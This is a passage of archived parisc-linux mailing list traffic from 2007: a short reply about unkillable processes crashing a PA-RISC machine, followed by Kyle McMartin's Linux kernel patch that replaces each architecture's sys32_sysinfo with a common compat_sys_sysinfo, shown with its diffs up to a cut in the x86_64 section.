	Sat, 6 Jan 2007 13:18:09 -0500 (EST)
In-Reply-To: <7d01f9f00701051834l4766fe0aya242c808bffbc407@mail.gmail.com>
	from "Thibaut VARENE" at Jan 6, 2007 03:34:22 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2tWocjxfbGI0QqaDYmRnoklncmZ1ZlyK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24218

> After another attempt I could eventually log in again and thought this
> "wasn't much" (so to speak). Then after a few more hours I realized
> the loadavg on the machine was abnormally high. A sshd process was
> taking 100% of CPU time. I tried to kill it (with SIGTERM first,
> twice), and as it wouldn't terminate I issued a SIGKILL, which had the
> very nice effect of taking down the whole machine, spitting endless
> regdumps on the console (see the last dump of the following log).
> 
> The console log / short story is here:
> http://www.pateam.org/archive/dumps/sshd-code27

This appears to be the same problem as I'm having killing hung
java processes.  When I went in this morning to reboot the machine,
it was looping endlessly at the same spot.  It had some hung java
processes and I had tried to do a "shutdown -r +0".  I'm seeing
this with 32bit UP kernel, so I don't think using a UP kernel is
a workaround.

I'd look at the dumps for the protection id traps.  Possibly,
there might be a clue there as to what went wrong.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Common compat_sys_sysinfo
Date: Sun, 7 Jan 2007 09:48:50 -0500
Lines: 833
Approved: news@gmane.org
Message-ID: <20070107144850.GB3207__49007.1139684462$1416624255$gmane$org@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624255 22370 80.91.229.3 (22 Nov 2014 02:44:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:15 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
 linux-kernel@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org
To: akpm@osdl.org
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jan 2007 14:49:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx065) with SMTP; 07 Jan 2007 15:49:22 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B0AC7DA6E;
	Sun,  7 Jan 2007 07:49:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27766-03; Sun, 7 Jan 2007 07:49:16 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0A91E7DA80;
	Sun,  7 Jan 2007 07:49:15 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CD70C7DA33
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Jan 2007 07:49:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27392-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 7 Jan 2007 07:49:10 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id CFC497DA30
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Jan 2007 07:49:09 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 41C61584099;
	Sun,  7 Jan 2007 09:49:09 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 9C0F9584095;
	Sun,  7 Jan 2007 09:49:07 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca
	(CPE0013d4367761-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[74.105.6.106])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 32542837DC;
	Sun,  7 Jan 2007 09:49:06 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id A1EB33B06E; Sun,  7 Jan 2007 09:48:50 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: EmHUdk4WODBpUrWUfGRMOqQ1Ji9SWpLf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24219

While tracking a bug for Thibaut Varene, I noticed that almost all
architectures implemented exactly the same sys32_sysinfo... except
parisc, where a bug was to be found in handling of the uptime. So
let's remove a whole whack of code for fun and profit. Cribbed
compat_sys_sysinfo from x86_64's implementation, since I figured
it would be the best tested.

This patch incorporates Arnd's suggestion of not using set_fs/get_fs,
but instead extracting out the common code from sys_sysinfo.

Tested on a handful of architectures (ia64, parisc, x86_64.)

Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>

---

I'd appreciate if a few arch maintainers could make sure that I haven't
screwed anything up for them. It seems all relevant architectures set
CONFIG_COMPAT so that they'll pick up the new implementation, but you
guys know better than I.

 arch/ia64/ia32/ia32_entry.S        |    2 -
 arch/ia64/ia32/sys_ia32.c          |   68 -------------------------------------
 arch/mips/kernel/linux32.c         |   44 -----------------------
 arch/mips/kernel/scall64-n32.S     |    2 -
 arch/mips/kernel/scall64-o32.S     |    2 -
 arch/parisc/kernel/sys_parisc32.c  |   64 ----------------------------------
 arch/parisc/kernel/syscall_table.S |    2 -
 arch/powerpc/kernel/sys_ppc32.c    |   67 ------------------------------------
 arch/s390/kernel/compat_linux.c    |   45 ------------------------
 arch/s390/kernel/compat_wrapper.S  |    6 +--
 arch/s390/kernel/syscalls.S        |    2 -
 arch/sparc64/kernel/sys_sparc32.c  |   64 ----------------------------------
 arch/sparc64/kernel/systbls.S      |    2 -
 arch/x86_64/ia32/ia32entry.S       |    2 -
 arch/x86_64/ia32/sys_ia32.c        |   66 -----------------------------------
 kernel/compat.c                    |   67 ++++++++++++++++++++++++++++++++++++
 kernel/timer.c                     |   58 +++++++++++++++++--------------
 17 files changed, 110 insertions(+), 453 deletions(-)

diff --git a/arch/ia64/ia32/ia32_entry.S b/arch/ia64/ia32/ia32_entry.S
index a32cd59..0a76de0 100644
--- a/arch/ia64/ia32/ia32_entry.S
+++ b/arch/ia64/ia32/ia32_entry.S
@@ -326,7 +326,7 @@ ia32_syscall_table:
 	data8 sys_ni_syscall
 	data8 compat_sys_wait4
 	data8 sys_swapoff	  /* 115 */
-	data8 sys32_sysinfo
+	data8 compat_sys_sysinfo 
 	data8 sys32_ipc
 	data8 sys_fsync
 	data8 sys32_sigreturn
diff --git a/arch/ia64/ia32/sys_ia32.c b/arch/ia64/ia32/sys_ia32.c
index 957681c..d430d36 100644
--- a/arch/ia64/ia32/sys_ia32.c
+++ b/arch/ia64/ia32/sys_ia32.c
@@ -2209,74 +2209,6 @@ sys32_fstat64 (unsigned int fd, struct stat64 __user *statbuf)
 	return ret;
 }
 
-struct sysinfo32 {
-	s32 uptime;
-	u32 loads[3];
-	u32 totalram;
-	u32 freeram;
-	u32 sharedram;
-	u32 bufferram;
-	u32 totalswap;
-	u32 freeswap;
-	u16 procs;
-	u16 pad;
-	u32 totalhigh;
-	u32 freehigh;
-	u32 mem_unit;
-	char _f[8];
-};
-
-asmlinkage long
-sys32_sysinfo (struct sysinfo32 __user *info)
-{
-	struct sysinfo s;
-	long ret, err;
-	int bitcount = 0;
-	mm_segment_t old_fs = get_fs();
-
-	set_fs(KERNEL_DS);
-	ret = sys_sysinfo((struct sysinfo __user *) &s);
-	set_fs(old_fs);
-	/* Check to see if any memory value is too large for 32-bit and
-	 * scale down if needed.
-	 */
-	if ((s.totalram >> 32) || (s.totalswap >> 32)) {
-		while (s.mem_unit < PAGE_SIZE) {
-			s.mem_unit <<= 1;
-			bitcount++;
-		}
-		s.totalram >>= bitcount;
-		s.freeram >>= bitcount;
-		s.sharedram >>= bitcount;
-		s.bufferram >>= bitcount;
-		s.totalswap >>= bitcount;
-		s.freeswap >>= bitcount;
-		s.totalhigh >>= bitcount;
-		s.freehigh >>= bitcount;
-	}
-
-	if (!access_ok(VERIFY_WRITE, info, sizeof(*info)))
-		return -EFAULT;
-
-	err  = __put_user(s.uptime, &info->uptime);
-	err |= __put_user(s.loads[0], &info->loads[0]);
-	err |= __put_user(s.loads[1], &info->loads[1]);
-	err |= __put_user(s.loads[2], &info->loads[2]);
-	err |= __put_user(s.totalram, &info->totalram);
-	err |= __put_user(s.freeram, &info->freeram);
-	err |= __put_user(s.sharedram, &info->sharedram);
-	err |= __put_user(s.bufferram, &info->bufferram);
-	err |= __put_user(s.totalswap, &info->totalswap);
-	err |= __put_user(s.freeswap, &info->freeswap);
-	err |= __put_user(s.procs, &info->procs);
-	err |= __put_user (s.totalhigh, &info->totalhigh);
-	err |= __put_user (s.freehigh, &info->freehigh);
-	err |= __put_user (s.mem_unit, &info->mem_unit);
-	if (err)
-		return -EFAULT;
-	return ret;
-}
-
 asmlinkage long
 sys32_sched_rr_get_interval (pid_t pid, struct compat_timespec __user *interval)
 {
diff --git a/arch/mips/kernel/linux32.c b/arch/mips/kernel/linux32.c
index b061c9a..c4a9cb7 100644
--- a/arch/mips/kernel/linux32.c
+++ b/arch/mips/kernel/linux32.c
@@ -193,50 +193,6 @@ sysn32_waitid(int which, compat_pid_t pid,
 	return ret;
 }
 
-struct sysinfo32 {
-        s32 uptime;
-        u32 loads[3];
-        u32 totalram;
-        u32 freeram;
-        u32 sharedram;
-        u32 bufferram;
-        u32 totalswap;
-        u32 freeswap;
-        u16 procs;
-	u32 totalhigh;
-	u32 freehigh;
-	u32 mem_unit;
-	char _f[8];
-};
-
-asmlinkage int sys32_sysinfo(struct sysinfo32 __user *info)
-{
-	struct sysinfo s;
-	int ret, err;
-	mm_segment_t old_fs = get_fs ();
-
-	set_fs (KERNEL_DS);
-	ret = sys_sysinfo((struct sysinfo __user *)&s);
-	set_fs (old_fs);
-	err = put_user (s.uptime, &info->uptime);
-	err |= __put_user (s.loads[0], &info->loads[0]);
-	err |= __put_user (s.loads[1], &info->loads[1]);
-	err |= __put_user (s.loads[2], &info->loads[2]);
-	err |= __put_user (s.totalram, &info->totalram);
-	err |= __put_user (s.freeram, &info->freeram);
-	err |= __put_user (s.sharedram, &info->sharedram);
-	err |= __put_user (s.bufferram, &info->bufferram);
-	err |= __put_user (s.totalswap, &info->totalswap);
-	err |= __put_user (s.freeswap, &info->freeswap);
-	err |= __put_user (s.procs, &info->procs);
-	err |= __put_user (s.totalhigh, &info->totalhigh);
-	err |= __put_user (s.freehigh, &info->freehigh);
-	err |= __put_user (s.mem_unit, &info->mem_unit);
-	if (err)
-		return -EFAULT;
-	return ret;
-}
-
 #define RLIM_INFINITY32	0x7fffffff
 #define RESOURCE32(x) ((x > RLIM_INFINITY32) ? RLIM_INFINITY32 : x)
 
diff --git a/arch/mips/kernel/scall64-n32.S b/arch/mips/kernel/scall64-n32.S
index 34567d8..d2ce8f6 100644
--- a/arch/mips/kernel/scall64-n32.S
+++ b/arch/mips/kernel/scall64-n32.S
@@ -217,7 +217,7 @@ EXPORT(sysn32_call_table)
 	PTR	sys32_gettimeofday
 	PTR	compat_sys_getrlimit		/* 6095 */
 	PTR	compat_sys_getrusage
-	PTR	sys32_sysinfo
+	PTR	compat_sys_sysinfo
 	PTR	compat_sys_times
 	PTR	sys32_ptrace
 	PTR	sys_getuid			/* 6100 */
diff --git a/arch/mips/kernel/scall64-o32.S b/arch/mips/kernel/scall64-o32.S
index e91379c..4b5c513 100644
--- a/arch/mips/kernel/scall64-o32.S
+++ b/arch/mips/kernel/scall64-o32.S
@@ -321,7 +321,7 @@ sys_call_table:
 	PTR	sys_ni_syscall			/* sys_vm86 */
 	PTR	compat_sys_wait4
 	PTR	sys_swapoff			/* 4115 */
-	PTR	sys32_sysinfo
+	PTR	compat_sys_sysinfo
 	PTR	sys32_ipc
 	PTR	sys_fsync
 	PTR	sys32_sigreturn
diff --git a/arch/parisc/kernel/sys_parisc32.c b/arch/parisc/kernel/sys_parisc32.c
index 29be437..ce3245f 100644
--- a/arch/parisc/kernel/sys_parisc32.c
+++ b/arch/parisc/kernel/sys_parisc32.c
@@ -579,70 +579,6 @@ asmlinkage int sys32_sendfile64(int out_fd, int in_fd, compat_loff_t __user *off
 }
 
 
-struct sysinfo32 {
-	s32 uptime;
-	u32 loads[3];
-	u32 totalram;
-	u32 freeram;
-	u32 sharedram;
-	u32 bufferram;
-	u32 totalswap;
-	u32 freeswap;
-	unsigned short procs;
-	u32 totalhigh;
-	u32 freehigh;
-	u32 mem_unit;
-	char _f[12];
-};
-
-/* We used to call sys_sysinfo and translate the result.  But sys_sysinfo
- * undoes the good work done elsewhere, and rather than undoing the
- * damage, I decided to just duplicate the code from sys_sysinfo here.
- */
-
-asmlinkage int sys32_sysinfo(struct sysinfo32 __user *info)
-{
-	struct sysinfo val;
-	int err;
-	unsigned long seq;
-
-	/* We don't need a memset here because we copy the
-	 * struct to userspace once element at a time.
-	 */
-
-	do {
-		seq = read_seqbegin(&xtime_lock);
-		val.uptime = jiffies / HZ;
-
-		val.loads[0] = avenrun[0] << (SI_LOAD_SHIFT - FSHIFT);
-		val.loads[1] = avenrun[1] << (SI_LOAD_SHIFT - FSHIFT);
-		val.loads[2] = avenrun[2] << (SI_LOAD_SHIFT - FSHIFT);
-
-		val.procs = nr_threads;
-	} while (read_seqretry(&xtime_lock, seq));
-
-
-	si_meminfo(&val);
-	si_swapinfo(&val);
-	
-	err = put_user (val.uptime, &info->uptime);
-	err |= __put_user (val.loads[0], &info->loads[0]);
-	err |= __put_user (val.loads[1], &info->loads[1]);
-	err |= __put_user (val.loads[2], &info->loads[2]);
-	err |= __put_user (val.totalram, &info->totalram);
-	err |= __put_user (val.freeram, &info->freeram);
-	err |= __put_user (val.sharedram, &info->sharedram);
-	err |= __put_user (val.bufferram, &info->bufferram);
-	err |= __put_user (val.totalswap, &info->totalswap);
-	err |= __put_user (val.freeswap, &info->freeswap);
-	err |= __put_user (val.procs, &info->procs);
-	err |= __put_user (val.totalhigh, &info->totalhigh);
-	err |= __put_user (val.freehigh, &info->freehigh);
-	err |= __put_user (val.mem_unit, &info->mem_unit);
-	return err ? -EFAULT : 0;
-}
-
-
 /* lseek() needs a wrapper because 'offset' can be negative, but the top
  * half of the argument has been zeroed by syscall.S.
  */
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 701d66a..be8eb9a 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -197,7 +197,7 @@
 	/* struct rusage contains longs... */
 	ENTRY_COMP(wait4)
 	ENTRY_SAME(swapoff)		/* 115 */
-	ENTRY_DIFF(sysinfo)
+	ENTRY_COMP(sysinfo)
 	ENTRY_SAME(shutdown)
 	ENTRY_SAME(fsync)
 	ENTRY_SAME(madvise)
diff --git a/arch/powerpc/kernel/sys_ppc32.c b/arch/powerpc/kernel/sys_ppc32.c
index 03a2a2f..673e8d9 100644
--- a/arch/powerpc/kernel/sys_ppc32.c
+++ b/arch/powerpc/kernel/sys_ppc32.c
@@ -198,73 +198,6 @@ static inline long put_tv32(struct compat_timeval __user *o, struct timeval *i)
 		 __put_user(i->tv_usec, &o->tv_usec)));
 }
 
-struct sysinfo32 {
-        s32 uptime;
-        u32 loads[3];
-        u32 totalram;
-        u32 freeram;
-        u32 sharedram;
-        u32 bufferram;
-        u32 totalswap;
-        u32 freeswap;
-        unsigned short procs;
-	unsigned short pad;
-	u32 totalhigh;
-	u32 freehigh;
-	u32 mem_unit;
-	char _f[20-2*sizeof(int)-sizeof(int)];
-};
-
-asmlinkage long compat_sys_sysinfo(struct sysinfo32 __user *info)
-{
-	struct sysinfo s;
-	int ret, err;
-	int bitcount=0;
-	mm_segment_t old_fs = get_fs ();
-	
-	/* The __user cast is valid due to set_fs() */
-	set_fs (KERNEL_DS);
-	ret = sys_sysinfo((struct sysinfo __user *)&s);
-	set_fs (old_fs);
-
-	/* Check to see if any memory value is too large for 32-bit and
-         * scale down if needed.
-         */
-	if ((s.totalram >> 32) || (s.totalswap >> 32)) {
-	    while (s.mem_unit < PAGE_SIZE) {
-		s.mem_unit <<= 1;
-		bitcount++;
-	    }
-	    s.totalram >>=bitcount;
-	    s.freeram >>= bitcount;
-	    s.sharedram >>= bitcount;
-	    s.bufferram >>= bitcount;
-	    s.totalswap >>= bitcount;
-	    s.freeswap >>= bitcount;
-	    s.totalhigh >>= bitcount;
-	    s.freehigh >>= bitcount;
-	}
-
-	err = put_user (s.uptime, &info->uptime);
-	err |= __put_user (s.loads[0], &info->loads[0]);
-	err |= __put_user (s.loads[1], &info->loads[1]);
-	err |= __put_user (s.loads[2], &info->loads[2]);
-	err |= __put_user (s.totalram, &info->totalram);
-	err |= __put_user (s.freeram, &info->freeram);
-	err |= __put_user (s.sharedram, &info->sharedram);
-	err |= __put_user (s.bufferram, &info->bufferram);
-	err |= __put_user (s.totalswap, &info->totalswap);
-	err |= __put_user (s.freeswap, &info->freeswap);
-	err |= __put_user (s.procs, &info->procs);
-	err |= __put_user (s.totalhigh, &info->totalhigh);
-	err |= __put_user (s.freehigh, &info->freehigh);
-	err |= __put_user (s.mem_unit, &info->mem_unit);
-	if (err)
-		return -EFAULT;
-	
-	return ret;
-}
-
 
 
 
diff --git a/arch/s390/kernel/compat_linux.c b/arch/s390/kernel/compat_linux.c
index 5b33f82..88b5858 100644
--- a/arch/s390/kernel/compat_linux.c
+++ b/arch/s390/kernel/compat_linux.c
@@ -392,51 +392,6 @@ int cp_compat_stat(struct kstat *stat, struct compat_stat __user *statbuf)
 	return err;
 }
 
-struct sysinfo32 {
-        s32 uptime;
-        u32 loads[3];
-        u32 totalram;
-        u32 freeram;
-        u32 sharedram;
-        u32 bufferram;
-        u32 totalswap;
-        u32 freeswap;
-        unsigned short procs;
-	unsigned short pads;
-	u32 totalhigh;
-	u32 freehigh;
-	unsigned int mem_unit;
-        char _f[8];
-};
-
-asmlinkage long sys32_sysinfo(struct sysinfo32 __user *info)
-{
-	struct sysinfo s;
-	int ret, err;
-	mm_segment_t old_fs = get_fs ();
-	
-	set_fs (KERNEL_DS);
-	ret = sys_sysinfo((struct sysinfo __user *) &s);
-	set_fs (old_fs);
-	err = put_user (s.uptime, &info->uptime);
-	err |= __put_user (s.loads[0], &info->loads[0]);
-	err |= __put_user (s.loads[1], &info->loads[1]);
-	err |= __put_user (s.loads[2], &info->loads[2]);
-	err |= __put_user (s.totalram, &info->totalram);
-	err |= __put_user (s.freeram, &info->freeram);
-	err |= __put_user (s.sharedram, &info->sharedram);
-	err |= __put_user (s.bufferram, &info->bufferram);
-	err |= __put_user (s.totalswap, &info->totalswap);
-	err |= __put_user (s.freeswap, &info->freeswap);
-	err |= __put_user (s.procs, &info->procs);
-	err |= __put_user (s.totalhigh, &info->totalhigh);
-	err |= __put_user (s.freehigh, &info->freehigh);
-	err |= __put_user (s.mem_unit, &info->mem_unit);
-	if (err)
-		return -EFAULT;
-	return ret;
-}
-
 asmlinkage long sys32_sched_rr_get_interval(compat_pid_t pid,
 				struct compat_timespec __user *interval)
 {
diff --git a/arch/s390/kernel/compat_wrapper.S b/arch/s390/kernel/compat_wrapper.S
index 71e54ef..9790129 100644
--- a/arch/s390/kernel/compat_wrapper.S
+++ b/arch/s390/kernel/compat_wrapper.S
@@ -517,10 +517,10 @@ sys32_swapoff_wrapper:
 	llgtr	%r2,%r2			# const char *
 	jg	sys_swapoff		# branch to system call
 
-	.globl	sys32_sysinfo_wrapper
-sys32_sysinfo_wrapper:
+	.globl	compat_sys_sysinfo_wrapper
+compat_sys_sysinfo_wrapper:
 	llgtr	%r2,%r2			# struct sysinfo_emu31 *
-	jg	sys32_sysinfo		# branch to system call
+	jg	compat_sys_sysinfo	# branch to system call
 
 	.globl	sys32_ipc_wrapper
 sys32_ipc_wrapper:
diff --git a/arch/s390/kernel/syscalls.S b/arch/s390/kernel/syscalls.S
index a4ceae3..a52c444 100644
--- a/arch/s390/kernel/syscalls.S
+++ b/arch/s390/kernel/syscalls.S
@@ -124,7 +124,7 @@ NI_SYSCALL							/* old "idle" system call */
 NI_SYSCALL							/* vm86old for i386 */
 SYSCALL(sys_wait4,sys_wait4,compat_sys_wait4_wrapper)
 SYSCALL(sys_swapoff,sys_swapoff,sys32_swapoff_wrapper)		/* 115 */
-SYSCALL(sys_sysinfo,sys_sysinfo,sys32_sysinfo_wrapper)
+SYSCALL(sys_sysinfo,sys_sysinfo,compat_sys_sysinfo_wrapper)
 SYSCALL(sys_ipc,sys_ipc,sys32_ipc_wrapper)
 SYSCALL(sys_fsync,sys_fsync,sys32_fsync_wrapper)
 SYSCALL(sys_sigreturn_glue,sys_sigreturn_glue,sys32_sigreturn_glue)
diff --git a/arch/sparc64/kernel/sys_sparc32.c b/arch/sparc64/kernel/sys_sparc32.c
index e27cb71..7876a02 100644
--- a/arch/sparc64/kernel/sys_sparc32.c
+++ b/arch/sparc64/kernel/sys_sparc32.c
@@ -459,70 +459,6 @@ asmlinkage long compat_sys_sysfs(int option, u32 arg1, u32 arg2)
 	return sys_sysfs(option, arg1, arg2);
 }
 
-struct sysinfo32 {
-        s32 uptime;
-        u32 loads[3];
-        u32 totalram;
-        u32 freeram;
-        u32 sharedram;
-        u32 bufferram;
-        u32 totalswap;
-        u32 freeswap;
-        unsigned short procs;
-	unsigned short pad;
-	u32 totalhigh;
-	u32 freehigh;
-	u32 mem_unit;
-	char _f[20-2*sizeof(int)-sizeof(int)];
-};
-
-asmlinkage long sys32_sysinfo(struct sysinfo32 __user *info)
-{
-	struct sysinfo s;
-	int ret, err;
-	int bitcount = 0;
-	mm_segment_t old_fs = get_fs ();
-	
-	set_fs(KERNEL_DS);
-	ret = sys_sysinfo((struct sysinfo __user *) &s);
-	set_fs(old_fs);
-	/* Check to see if any memory value is too large for 32-bit and
-         * scale down if needed.
-         */
-	if ((s.totalram >> 32) || (s.totalswap >> 32)) {
-		while (s.mem_unit < PAGE_SIZE) {
-			s.mem_unit <<= 1;
-			bitcount++;
-		}
-		s.totalram >>= bitcount;
-		s.freeram >>= bitcount;
-		s.sharedram >>= bitcount;
-		s.bufferram >>= bitcount;
-		s.totalswap >>= bitcount;
-		s.freeswap >>= bitcount;
-		s.totalhigh >>= bitcount;
-		s.freehigh >>= bitcount;
-	}
-
-	err = put_user (s.uptime, &info->uptime);
-	err |= __put_user (s.loads[0], &info->loads[0]);
-	err |= __put_user (s.loads[1], &info->loads[1]);
-	err |= __put_user (s.loads[2], &info->loads[2]);
-	err |= __put_user (s.totalram, &info->totalram);
-	err |= __put_user (s.freeram, &info->freeram);
-	err |= __put_user (s.sharedram, &info->sharedram);
-	err |= __put_user (s.bufferram, &info->bufferram);
-	err |= __put_user (s.totalswap, &info->totalswap);
-	err |= __put_user (s.freeswap, &info->freeswap);
-	err |= __put_user (s.procs, &info->procs);
-	err |= __put_user (s.totalhigh, &info->totalhigh);
-	err |= __put_user (s.freehigh, &info->freehigh);
-	err |= __put_user (s.mem_unit, &info->mem_unit);
-	if (err)
-		return -EFAULT;
-	return ret;
-}
-
 asmlinkage long compat_sys_sched_rr_get_interval(compat_pid_t pid, struct compat_timespec __user *interval)
 {
 	struct timespec t;
diff --git a/arch/sparc64/kernel/systbls.S b/arch/sparc64/kernel/systbls.S
index 9a80267..948b7d2 100644
--- a/arch/sparc64/kernel/systbls.S
+++ b/arch/sparc64/kernel/systbls.S
@@ -61,7 +61,7 @@ sys_call_table32:
 	.word sys32_epoll_wait, sys32_ioprio_set, sys_getppid, sys32_sigaction, sys_sgetmask
 /*200*/	.word sys32_ssetmask, sys_sigsuspend, compat_sys_newlstat, sys_uselib, compat_sys_old_readdir
 	.word sys32_readahead, sys32_socketcall, sys32_syslog, sys32_lookup_dcookie, sys32_fadvise64
-/*210*/	.word sys32_fadvise64_64, sys32_tgkill, sys32_waitpid, sys_swapoff, sys32_sysinfo
+/*210*/	.word sys32_fadvise64_64, sys32_tgkill, sys32_waitpid, sys_swapoff, compat_sys_sysinfo
 	.word sys32_ipc, sys32_sigreturn, sys_clone, sys32_ioprio_get, compat_sys_adjtimex
 /*220*/	.word sys32_sigprocmask, sys_ni_syscall, sys32_delete_module, sys_ni_syscall, sys32_getpgid
 	.word sys32_bdflush, sys32_sysfs, sys_nis_syscall, sys32_setfsuid16, sys32_setfsgid16
diff --git a/arch/x86_64/ia32/ia32entry.S b/arch/x86_64/ia32/ia32entry.S
index b4aa875..5f32cf4 100644
--- a/arch/x86_64/ia32/ia32entry.S
+++ b/arch/x86_64/ia32/ia32entry.S
@@ -515,7 +515,7 @@ ia32_sys_call_table:
 	.quad sys32_vm86_warning	/* vm86old */ 
 	.quad compat_sys_wait4
 	.quad sys_swapoff		/* 115 */
-	.quad sys32_sysinfo
+	.quad compat_sys_sysinfo
 	.quad sys32_ipc
 	.quad sys_fsync
 	.quad stub32_sigreturn
diff --git a/arch/x86_64/ia32/sys_ia32.c b/arch/x86_64/ia32/sys_ia32.c
index c9bac3a..200fdde 100644
--- a/arch/x86_64/ia32/sys_ia32.c
+++ b/arch/x86_64/ia32/sys_ia32.c
@@ -523,72 +523,6 @@ sys32_sysfs(int option, u32 arg1, u32 arg2)
 	return sys_sysfs(option, arg1, arg2);
 }
 
-struct sysinfo32 {
-        s32 uptime;
-        u32 loads[3];
-        u32 totalram;
-        u32 freeram;
-        u32 sharedram;
-        u32 bufferram;
-        u32 totalswap;
-        u32 freeswap;
-        unsigned short procs;
-	unsigned short pad; 
-        u32 totalhigh;
-        u32 freehigh;
-        u32 mem_unit;
-        char _f[20-2*sizeof(u32)-sizeof(int)];
-};
-
-asmlinkage long
-sys32_sysinfo(struct sysinfo32 __user *info)
-{
-	struct sysinfo s;
-	int ret;
-	mm_segment_t old_fs = get_fs ();
-	int bitcount = 0;
-	
-	set_fs (KERNEL_DS);
